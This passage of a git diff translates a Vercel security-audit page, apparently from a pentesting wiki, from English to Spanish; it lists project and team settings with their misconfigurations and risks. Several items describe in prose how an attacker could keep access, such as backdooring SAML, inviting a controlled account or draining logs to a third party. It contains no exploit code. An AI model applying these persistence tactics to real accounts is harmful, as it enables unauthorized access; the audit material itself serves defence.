(Desarrollo, Vista previa, Producción) con configuraciones y variables específicas. -#### Security Configurations: +#### Configuraciones de Seguridad: -- **Environment Isolation** - - **Misconfiguration:** Sharing environment variables across environments. - - **Risk:** Leakage of production secrets into development or preview environments, increasing exposure. -- **Access to Sensitive Environments** - - **Misconfiguration:** Allowing broad access to production environments. - - **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches. +- **Aislamiento de Entorno** +- **Mala Configuración:** Compartir variables de entorno entre entornos. +- **Riesgo:** Filtración de secretos de producción en entornos de desarrollo o vista previa, aumentando la exposición. +- **Acceso a Entornos Sensibles** +- **Mala Configuración:** Permitir un acceso amplio a entornos de producción. +- **Riesgo:** Cambios no autorizados o acceso a aplicaciones en vivo, lo que puede llevar a tiempos de inactividad o filtraciones de datos. --- -### Environment Variables +### Variables de Entorno -**Purpose:** Manage environment-specific variables and secrets used by the application. +**Propósito:** Administrar variables y secretos específicos del entorno utilizados por la aplicación. -#### Security Configurations: +#### Configuraciones de Seguridad: -- **Exposing Sensitive Variables** - - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. - - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. -- **Sensitive disabled** - - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. -- **Shared Environment Variables** - - **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **Exposición de Variables Sensibles** +- **Mala Configuración:** Prefijar variables sensibles con `NEXT_PUBLIC_`, haciéndolas accesibles en el lado del cliente. +- **Riesgo:** Exposición de claves API, credenciales de base de datos u otros datos sensibles al público, lo que lleva a filtraciones de datos. +- **Sensibles deshabilitados** +- **Mala Configuración:** Si está deshabilitado (por defecto), es posible leer los valores de los secretos generados. +- **Riesgo:** Mayor probabilidad de exposición accidental o acceso no autorizado a información sensible. +- **Variables de Entorno Compartidas** +- **Mala Configuración:** Estas son variables de entorno establecidas a nivel de Equipo y también podrían contener información sensible. +- **Riesgo:** Mayor probabilidad de exposición accidental o acceso no autorizado a información sensible. --- ### Git -**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers. +**Propósito:** Configurar integraciones de repositorios de Git, protecciones de ramas y desencadenadores de implementación. -#### Security Configurations: +#### Configuraciones de Seguridad: -- **Ignored Build Step (TODO)** - - **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE. - - **Risk:** TBD +- **Paso de Construcción Ignorado (TODO)** +- **Mala Configuración:** Parece que esta opción permite configurar un script/commandos bash que se ejecutará cuando se empuje un nuevo commit en Github, lo que podría permitir RCE. +- **Riesgo:** TBD --- -### Integrations +### Integraciones -**Purpose:** Connect third-party services and tools to enhance project functionalities. +**Propósito:** Conectar servicios y herramientas de terceros para mejorar las funcionalidades del proyecto. -#### Security Configurations: +#### Configuraciones de Seguridad: -- **Insecure Third-Party Integrations** - - **Misconfiguration:** Integrating with untrusted or insecure third-party services. - - **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations. -- **Over-Permissioned Integrations** - - **Misconfiguration:** Granting excessive permissions to integrated services. - - **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions. -- **Lack of Integration Monitoring** - - **Misconfiguration:** Failing to monitor and audit third-party integrations. - - **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches. +- **Integraciones de Terceros Inseguras** +- **Mala Configuración:** Integrarse con servicios de terceros no confiables o inseguros. +- **Riesgo:** Introducción de vulnerabilidades, filtraciones de datos o puertas traseras a través de integraciones comprometidas. +- **Integraciones con Permisos Excesivos** +- **Mala Configuración:** Conceder permisos excesivos a servicios integrados. +- **Riesgo:** Acceso no autorizado a recursos del proyecto, manipulación de datos o interrupciones del servicio. +- **Falta de Monitoreo de Integraciones** +- **Mala Configuración:** No monitorear y auditar integraciones de terceros. +- **Riesgo:** Detección tardía de integraciones comprometidas, aumentando el impacto potencial de las brechas de seguridad. --- -### Deployment Protection +### Protección de Implementación -**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments. +**Propósito:** Asegurar implementaciones a través de varios mecanismos de protección, controlando quién puede acceder y desplegar en tus entornos. -#### Security Configurations: +#### Configuraciones de Seguridad: -**Vercel Authentication** +**Autenticación de Vercel** -- **Misconfiguration:** Disabling authentication or not enforcing team member checks. -- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse. +- **Mala Configuración:** Deshabilitar la autenticación o no hacer cumplir las verificaciones de miembros del equipo. +- **Riesgo:** Usuarios no autorizados pueden acceder a implementaciones, lo que lleva a filtraciones de datos o mal uso de la aplicación. -**Protection Bypass for Automation** +**Bypass de Protección para Automatización** -- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets. -- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments. +- **Mala Configuración:** Exponer el secreto de bypass públicamente o usar secretos débiles. +- **Riesgo:** Los atacantes pueden eludir las protecciones de implementación, accediendo y manipulando implementaciones protegidas. -**Shareable Links** +**Enlaces Compartibles** -- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links. -- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions. +- **Mala Configuración:** Compartir enlaces indiscriminadamente o no revocar enlaces obsoletos. +- **Riesgo:** Acceso no autorizado a implementaciones protegidas, eludiendo autenticación y restricciones de IP. -**OPTIONS Allowlist** +**Opciones de Lista Blanca** -- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints. -- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks. +- **Mala Configuración:** Permitir rutas o puntos finales demasiado amplios en la lista blanca. +- **Riesgo:** Los atacantes pueden explotar rutas no protegidas para realizar acciones no autorizadas o eludir verificaciones de seguridad. -**Password Protection** +**Protección por Contraseña** -- **Misconfiguration:** Using weak passwords or sharing them insecurely. -- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked. -- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. +- **Mala Configuración:** Usar contraseñas débiles o compartirlas de manera insegura. +- **Riesgo:** Acceso no autorizado a implementaciones si las contraseñas son adivinadas o filtradas. +- **Nota:** Disponible en el plan **Pro** como parte de **Protección Avanzada de Implementación** por un adicional de $150/mes. -**Deployment Protection Exceptions** +**Excepciones de Protección de Implementación** -- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently. -- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access. -- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. +- **Mala Configuración:** Agregar dominios de producción o sensibles a la lista de excepciones inadvertidamente. +- **Riesgo:** Exposición de implementaciones críticas al público, lo que lleva a filtraciones de datos o acceso no autorizado. +- **Nota:** Disponible en el plan **Pro** como parte de **Protección Avanzada de Implementación** por un adicional de $150/mes. -**Trusted IPs** +**IPs de Confianza** -- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges. -- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access. -- **Note:** Available on the **Enterprise** plan. +- **Mala Configuración:** Especificar incorrectamente direcciones IP o rangos CIDR. +- **Riesgo:** Usuarios legítimos siendo bloqueados o IPs no autorizadas ganando acceso. +- **Nota:** Disponible en el plan **Enterprise**. --- -### Functions +### Funciones -**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies. +**Propósito:** Configurar funciones sin servidor, incluyendo configuraciones de tiempo de ejecución, asignación de memoria y políticas de seguridad. -#### Security Configurations: +#### Configuraciones de Seguridad: -- **Nothing** +- **Nada** --- -### Data Cache +### Caché de Datos -**Purpose:** Manage caching strategies and settings to optimize performance and control data storage. +**Propósito:** Administrar estrategias y configuraciones de caché para optimizar el rendimiento y controlar el almacenamiento de datos. -#### Security Configurations: +#### Configuraciones de Seguridad: -- **Purge Cache** - - **Misconfiguration:** It allows to delete all the cache. - - **Risk:** Unauthorized users deleting the cache leading to a potential DoS. +- **Purgar Caché** +- **Mala Configuración:** Permite eliminar toda la caché. +- **Riesgo:** Usuarios no autorizados eliminando la caché, lo que lleva a un potencial DoS. --- -### Cron Jobs +### Tareas Programadas -**Purpose:** Schedule automated tasks and scripts to run at specified intervals. +**Propósito:** Programar tareas y scripts automatizados para que se ejecuten en intervalos especificados. -#### Security Configurations: +#### Configuraciones de Seguridad: -- **Disable Cron Job** - - **Misconfiguration:** It allows to disable cron jobs declared inside the code - - **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for) +- **Deshabilitar Tarea Programada** +- **Mala Configuración:** Permite deshabilitar tareas programadas declaradas dentro del código +- **Riesgo:** Interrupción potencial del servicio (dependiendo de para qué estaban destinadas las tareas programadas) --- -### Log Drains +### Drenajes de Registro -**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing. +**Propósito:** Configurar servicios de registro externos para capturar y almacenar registros de aplicaciones para monitoreo y auditoría. -#### Security Configurations: +#### Configuraciones de Seguridad: -- Nothing (managed from teams settings) +- Nada (gestionado desde la configuración de equipos) --- -### Security +### Seguridad -**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more. +**Propósito:** Centro central para varias configuraciones relacionadas con la seguridad que afectan el acceso al proyecto, la protección de la fuente y más. -#### Security Configurations: +#### Configuraciones de Seguridad: -**Build Logs and Source Protection** +**Registros de Construcción y Protección de Fuente** -- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly. -- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities. +- **Mala Configuración:** Deshabilitar la protección o exponer públicamente las rutas `/logs` y `/src`. +- **Riesgo:** Acceso no autorizado a registros de construcción y código fuente, lo que lleva a filtraciones de información y posible explotación de vulnerabilidades. -**Git Fork Protection** +**Protección de Fork de Git** -- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews. -- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors. +- **Mala Configuración:** Permitir solicitudes de extracción no autorizadas sin revisiones adecuadas. +- **Riesgo:** Código malicioso puede ser fusionado en la base de código, introduciendo vulnerabilidades o puertas traseras. -**Secure Backend Access with OIDC Federation** +**Acceso Seguro al Backend con Federación OIDC** -- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs. -- **Risk:** Unauthorized access to backend services through flawed authentication flows. +- **Mala Configuración:** Configurar incorrectamente los parámetros de OIDC o usar URLs de emisor inseguras. +- **Riesgo:** Acceso no autorizado a servicios de backend a través de flujos de autenticación defectuosos. -**Deployment Retention Policy** +**Política de Retención de Implementaciones** -- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention). -- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments. +- **Mala Configuración:** Establecer períodos de retención demasiado cortos (perdiendo el historial de implementaciones) o demasiado largos (retención innecesaria de datos). +- **Riesgo:** Incapacidad para realizar retrocesos cuando sea necesario o mayor riesgo de exposición de datos de implementaciones antiguas. -**Recently Deleted Deployments** +**Implementaciones Recientemente Eliminadas** -- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions. -- **Risk:** Loss of critical deployment history, hindering audits and rollbacks. +- **Mala Configuración:** No monitorear implementaciones eliminadas o depender únicamente de eliminaciones automatizadas. +- **Riesgo:** Pérdida de historial crítico de implementaciones, dificultando auditorías y retrocesos. --- -### Advanced +### Avanzado -**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security. +**Propósito:** Acceso a configuraciones adicionales del proyecto para ajustar configuraciones y mejorar la seguridad. -#### Security Configurations: +#### Configuraciones de Seguridad: -**Directory Listing** +**Listado de Directorios** -- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file. -- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks. +- **Mala Configuración:** Habilitar el listado de directorios permite a los usuarios ver el contenido del directorio sin un archivo de índice. +- **Riesgo:** Exposición de archivos sensibles, estructura de la aplicación y posibles puntos de entrada para ataques. --- -## Project Firewall +## Cortafuegos del Proyecto -### Firewall +### Cortafuegos -#### Security Configurations: +#### Configuraciones de Seguridad: -**Enable Attack Challenge Mode** +**Habilitar Modo de Desafío de Ataque** -- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability -- **Risk:** Potential user experience problems. +- **Mala Configuración:** Habilitar esto mejora las defensas de la aplicación web contra DoS, pero a costa de la usabilidad +- **Riesgo:** Problemas potenciales de experiencia del usuario. -### Custom Rules & IP Blocking +### Reglas Personalizadas y Bloqueo de IP -- **Misconfiguration:** Allows to unblock/block traffic -- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic +- **Mala Configuración:** Permite desbloquear/bloquear tráfico +- **Riesgo:** Potencial DoS permitiendo tráfico malicioso o bloqueando tráfico benigno --- -## Project Deployment +## Implementación del Proyecto -### Source +### Fuente -- **Misconfiguration:** Allows access to read the complete source code of the application -- **Risk:** Potential exposure of sensitive information +- **Mala Configuración:** Permite acceso para leer el código fuente completo de la aplicación +- **Riesgo:** Exposición potencial de información sensible -### Skew Protection +### Protección contra Desviaciones -- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other. -- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future +- **Mala Configuración:** Esta protección asegura que la aplicación del cliente y del servidor siempre estén usando la misma versión, por lo que no hay desincronizaciones donde el cliente usa una versión diferente de la del servidor y, por lo tanto, no se entienden entre sí. +- **Riesgo:** Deshabilitar esto (si está habilitado) podría causar problemas de DoS en nuevas implementaciones en el futuro --- -## Team Settings +## Configuraciones del Equipo ### General -#### Security Configurations: +#### Configuraciones de Seguridad: -- **Transfer** - - **Misconfiguration:** Allows to transfer all the projects to another team - - **Risk:** An attacker could steal the projects -- **Delete Project** - - **Misconfiguration:** Allows to delete the team with all the projects - - **Risk:** Delete the projects +- **Transferencia** +- **Mala Configuración:** Permite transferir todos los proyectos a otro equipo +- **Riesgo:** Un atacante podría robar los proyectos +- **Eliminar Proyecto** +- **Mala Configuración:** Permite eliminar el equipo con todos los proyectos +- **Riesgo:** Eliminar los proyectos --- -### Billing +### Facturación -#### Security Configurations: +#### Configuraciones de Seguridad: -- **Speed Insights Cost Limit** - - **Misconfiguration:** An attacker could increase this number - - **Risk:** Increased costs +- **Límite de Costo de Speed Insights** +- **Mala Configuración:** Un atacante podría aumentar este número +- **Riesgo:** Aumento de costos --- -### Members +### Miembros -#### Security Configurations: +#### Configuraciones de Seguridad: -- **Add members** - - **Misconfiguration:** An attacker could maintain persitence inviting an account he control - - **Risk:** Attacker persistence +- **Agregar miembros** +- **Mala Configuración:** Un atacante podría mantener persistencia invitando a una cuenta que controla +- **Riesgo:** Persistencia del atacante - **Roles** - - **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) - - **Risk**: Increate the exposure of the Vercel Team +- **Mala Configuración:** Conceder demasiados permisos a personas que no los necesitan aumenta el riesgo de la configuración de Vercel. Verifica todos los roles posibles en [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) +- **Riesgo**: Aumentar la exposición del Equipo de Vercel --- -### Access Groups +### Grupos de Acceso -An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects. +Un **Grupo de Acceso** en Vercel es una colección de proyectos y miembros del equipo con asignaciones de roles predefinidas, lo que permite una gestión de acceso centralizada y simplificada a través de múltiples proyectos. -**Potential Misconfigurations:** +**Posibles Mala Configuraciones:** -- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions. -- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation. -- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended. -- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions. -- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps. +- **Sobre-Permisos a Miembros:** Asignar roles con más permisos de los necesarios, lo que lleva a acceso o acciones no autorizadas. +- **Asignaciones de Rol Incorrectas:** Asignar incorrectamente roles que no se alinean con las responsabilidades de los miembros del equipo, causando escalada de privilegios. +- **Falta de Segregación de Proyectos:** No separar proyectos sensibles, permitiendo un acceso más amplio del que se pretendía. +- **Gestión Insuficiente de Grupos:** No revisar o actualizar regularmente los Grupos de Acceso, resultando en permisos de acceso obsoletos o inapropiados. +- **Definiciones de Rol Inconsistentes:** Usar definiciones de rol inconsistentes o poco claras en diferentes Grupos de Acceso, llevando a confusión y brechas de seguridad. --- -### Log Drains +### Drenajes de Registro -#### Security Configurations: +#### Configuraciones de Seguridad: -- **Log Drains to third parties:** - - **Misconfiguration:** An attacker could configure a Log Drain to steal the logs - - **Risk:** Partial persistence +- **Drenajes de Registro a terceros:** +- **Mala Configuración:** Un atacante podría configurar un Drenaje de Registro para robar los registros +- **Riesgo:** Persistencia parcial --- -### Security & Privacy +### Seguridad y Privacidad -#### Security Configurations: +#### Configuraciones de Seguridad: -- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard. - - **Misconfiguration:** - - Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting. - - Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain. - - **Risks:** - - **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team. - - **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals. -- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access. - - **Misconfiguration:** Not adding critical Git scopes to the protected list. -- **Risks:** - - **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization. - - **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team. -- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system. - - **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled. - - **Risks:** - - **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members. - - **Data Breach:** Sensitive information like API keys and credentials could be leaked. -- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members. - - **Misconfiguration:**\ - Granting access to audit logs to unauthorized team members. - - **Risks:** - - **Privacy Violations:** Exposure of sensitive user activities and data. - - **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks. -- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management. - - **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints. - - **Risk:** Maintain persistence -- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains. - - **Misconfiguration:** Leaving IP address visibility enabled without necessity. - - **Risks:** - - **Privacy Violations:** Non-compliance with data protection regulations like GDPR. - - **Legal Repercussions:** Potential fines and penalties for mishandling personal data. -- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing. - - **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic. - - **Risks:** - - **Service Denial to Legitimate Users:** Blocking access for valid users or partners. - - **Operational Disruptions:** Loss of service availability for certain regions or clients. +- **Dominio de Correo Electrónico del Equipo:** Cuando se configura, esta opción invita automáticamente a Cuentas Personales de Vercel con direcciones de correo electrónico que terminan en el dominio especificado (por ejemplo, `mydomain.com`) a unirse a tu equipo al registrarse y en el panel de control. +- **Mala Configuración:** +- Especificar el dominio de correo electrónico incorrecto o un dominio mal escrito en la configuración del Dominio de Correo Electrónico del Equipo. +- Usar un dominio de correo electrónico común (por ejemplo, `gmail.com`, `hotmail.com`) en lugar de un dominio específico de la empresa. +- **Riesgos:** +- **Acceso No Autorizado:** Usuarios con direcciones de correo electrónico de dominios no deseados pueden recibir invitaciones para unirse a tu equipo. +- **Exposición de Datos:** Exposición potencial de información sensible del proyecto a individuos no autorizados. +- **Ámbitos de Git Protegidos:** Te permite agregar hasta 5 ámbitos de Git a tu equipo para evitar que otros equipos de Vercel implementen repositorios del ámbito protegido. Múltiples equipos pueden especificar el mismo ámbito, permitiendo el acceso a ambos equipos. +- **Mala Configuración:** No agregar ámbitos de Git críticos a la lista protegida. +- **Riesgos:** +- **Implementaciones No Autorizadas:** Otros equipos pueden implementar repositorios de los ámbitos de Git de tu organización sin autorización. +- **Exposición de Propiedad Intelectual:** Código propietario podría ser implementado y accesado fuera de tu equipo. +- **Políticas de Variables de Entorno:** Hace cumplir políticas para la creación y edición de las variables de entorno del equipo. Específicamente, puedes hacer cumplir que todas las variables de entorno se creen como **Variables de Entorno Sensibles**, que solo pueden ser desencriptadas por el sistema de implementación de Vercel. +- **Mala Configuración:** Mantener la aplicación de variables de entorno sensibles deshabilitada. +- **Riesgos:** +- **Exposición de Secretos:** Las variables de entorno pueden ser vistas o editadas por miembros no autorizados del equipo. +- **Filtración de Datos:** Información sensible como claves API y credenciales podría ser filtrada. +- **Registro de Auditoría:** Proporciona una exportación de la actividad del equipo por hasta los últimos 90 días. Los registros de auditoría ayudan a monitorear y rastrear acciones realizadas por los miembros del equipo. +- **Mala Configuración:**\ +Conceder acceso a registros de auditoría a miembros no autorizados del equipo. +- **Riesgos:** +- **Violaciones de Privacidad:** Exposición de actividades y datos sensibles de usuarios. +- **Manipulación de Registros:** Actores maliciosos podrían alterar o eliminar registros para encubrir sus huellas. +- **SAML Single Sign-On:** Permite la personalización de la autenticación SAML y la sincronización de directorios para tu equipo, habilitando la integración con un Proveedor de Identidad (IdP) para autenticación y gestión de usuarios centralizadas. +- **Mala Configuración:** Un atacante podría crear una puerta trasera en la configuración del Equipo estableciendo parámetros SAML como ID de Entidad, URL de SSO o huellas digitales de certificados. +- **Riesgo:** Mantener persistencia +- **Visibilidad de Direcciones IP:** Controla si las direcciones IP, que pueden considerarse información personal bajo ciertas leyes de protección de datos, se muestran en consultas de Monitoreo y Drenajes de Registro. +- **Mala Configuración:** Dejar habilitada la visibilidad de direcciones IP sin necesidad. +- **Riesgos:** +- **Violaciones de Privacidad:** No cumplimiento con regulaciones de protección de datos como GDPR. +- **Repercusiones Legales:** Posibles multas y sanciones por manejo inadecuado de datos personales. +- **Bloqueo de IP:** Permite la configuración de direcciones IP y rangos CIDR que Vercel debería bloquear. Las solicitudes bloqueadas no contribuyen a tu facturación. +- **Mala Configuración:** Podría ser abusada por un atacante para permitir tráfico malicioso o bloquear tráfico legítimo. +- **Riesgos:** +- **Denegación de Servicio a Usuarios Legítimos:** Bloqueo de acceso para usuarios o socios válidos. +- **Interrupciones Operativas:** Pérdida de disponibilidad del servicio para ciertas regiones o clientes. --- -### Secure Compute +### Cómputo Seguro -**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy. +**Vercel Secure Compute** permite conexiones seguras y privadas entre Funciones de Vercel y entornos de backend (por ejemplo, bases de datos) estableciendo redes aisladas con direcciones IP dedicadas. Esto elimina la necesidad de exponer servicios de backend públicamente, mejorando la seguridad, el cumplimiento y la privacidad. -#### **Potential Misconfigurations and Risks** +#### **Posibles Mala Configuraciones y Riesgos** -1. **Incorrect AWS Region Selection** - - **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region. - - **Risk:** Increased latency, potential data residency compliance issues, and degraded performance. -2. **Overlapping CIDR Blocks** - - **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks. - - **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks. -3. **Improper VPC Peering Configuration** - - **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates). - - **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches. -4. **Excessive Project Assignments** - - **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation. - - **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others. -5. **Inadequate IP Address Management** - - **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately. - - **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities. -6. **Including Build Containers Unnecessarily** - - **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds. - - **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources. -7. **Failure to Securely Handle Bypass Secrets** - - **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections. - - **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code. -8. **Ignoring Region Failover Configurations** - - **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings. - - **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency. -9. **Exceeding VPC Peering Connection Limits** - - **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections). - - **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions. -10. **Insecure Network Settings** - - **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network. - - **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks. +1. **Selección Incorrecta de Región de AWS** +- **Mala Configuración:** Elegir una región de AWS para la red de Cómputo Seguro que no coincida con la región de los servicios de backend. +- **Riesgo:** Aumento de latencia, posibles problemas de cumplimiento de residencia de datos y degradación del rendimiento. +2. **Bloques CIDR Superpuestos** +- **Mala Configuración:** Seleccionar bloques CIDR que se superpongan con VPCs existentes u otras redes. +- **Riesgo:** Conflictos de red que llevan a conexiones fallidas, acceso no autorizado o filtración de datos entre redes. +3. **Configuración Incorrecta de Peering de VPC** +- **Mala Configuración:** Configurar incorrectamente el peering de VPC (por ejemplo, IDs de VPC incorrectos, actualizaciones incompletas de la tabla de rutas). +- **Riesgo:** Acceso no autorizado a la infraestructura de backend, conexiones seguras fallidas y posibles filtraciones de datos. +4. **Asignaciones Excesivas de Proyectos** +- **Mala Configuración:** Asignar múltiples proyectos a una sola red de Cómputo Seguro sin el aislamiento adecuado. +- **Riesgo:** La exposición de IP compartida aumenta la superficie de ataque, permitiendo que proyectos comprometidos afecten a otros. +5. **Gestión Inadecuada de Direcciones IP** +- **Mala Configuración:** No gestionar o rotar adecuadamente las direcciones IP dedicadas. +- **Riesgo:** Suplantación de IP, vulnerabilidades de seguimiento y posible inclusión en listas negras si las IPs están asociadas con actividades maliciosas. +6. **Incluir Contenedores de Construcción Innecesariamente** +- **Mala Configuración:** Agregar contenedores de construcción a la red de Cómputo Seguro cuando no se requiere acceso al backend durante las construcciones. +- **Riesgo:** Superficie de ataque expandida, retrasos en la provisión y consumo innecesario de recursos de red. +7. **Falta de Manejo Seguro de Secretos de Bypass** +- **Mala Configuración:** Exponer o manejar incorrectamente secretos utilizados para eludir protecciones de implementación. +- **Riesgo:** Acceso no autorizado a implementaciones protegidas, permitiendo a los atacantes manipular o implementar código malicioso. +8. **Ignorar Configuraciones de Failover de Región** +- **Mala Configuración:** No configurar regiones de failover pasivas o configurar incorrectamente las configuraciones de failover. +- **Riesgo:** Tiempo de inactividad del servicio durante interrupciones en la región principal, llevando a una disponibilidad reducida y posible inconsistencia de datos. +9. **Exceder Límites de Conexión de Peering de VPC** +- **Mala Configuración:** Intentar establecer más conexiones de peering de VPC de las permitidas (por ejemplo, exceder 50 conexiones). +- **Riesgo:** Incapacidad para conectar de manera segura los servicios de backend necesarios, causando fallos en las implementaciones y interrupciones operativas. +10. **Configuraciones de Red Inseguras** +- **Mala Configuración:** Reglas de firewall débiles, falta de cifrado o segmentación de red inadecuada dentro de la red de Cómputo Seguro. +- **Riesgo:** Intercepción de datos, acceso no autorizado a servicios de backend y mayor vulnerabilidad a ataques. --- -### Environment Variables +### Variables de Entorno -**Purpose:** Manage environment-specific variables and secrets used by all the projects. +**Propósito:** Administrar variables y secretos específicos del entorno utilizados por todos los proyectos. -#### Security Configurations: +#### Configuraciones de Seguridad: -- **Exposing Sensitive Variables** - - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. - - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. -- **Sensitive disabled** - - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **Exposición de Variables Sensibles** +- **Mala Configuración:** Prefijar variables sensibles con `NEXT_PUBLIC_`, haciéndolas accesibles en el lado del cliente. +- **Riesgo:** Exposición de claves API, credenciales de base de datos u otros datos sensibles al público, lo que lleva a filtraciones de datos. +- **Sensibles deshabilitados** +- **Mala Configuración:** Si está deshabilitado (por defecto), es posible leer los valores de los secretos generados. +- **Riesgo:** Mayor probabilidad de exposición accidental o acceso no autorizado a información sensible. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index ad71de826..a679270ec 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -2,17 +2,17 @@ {{#include 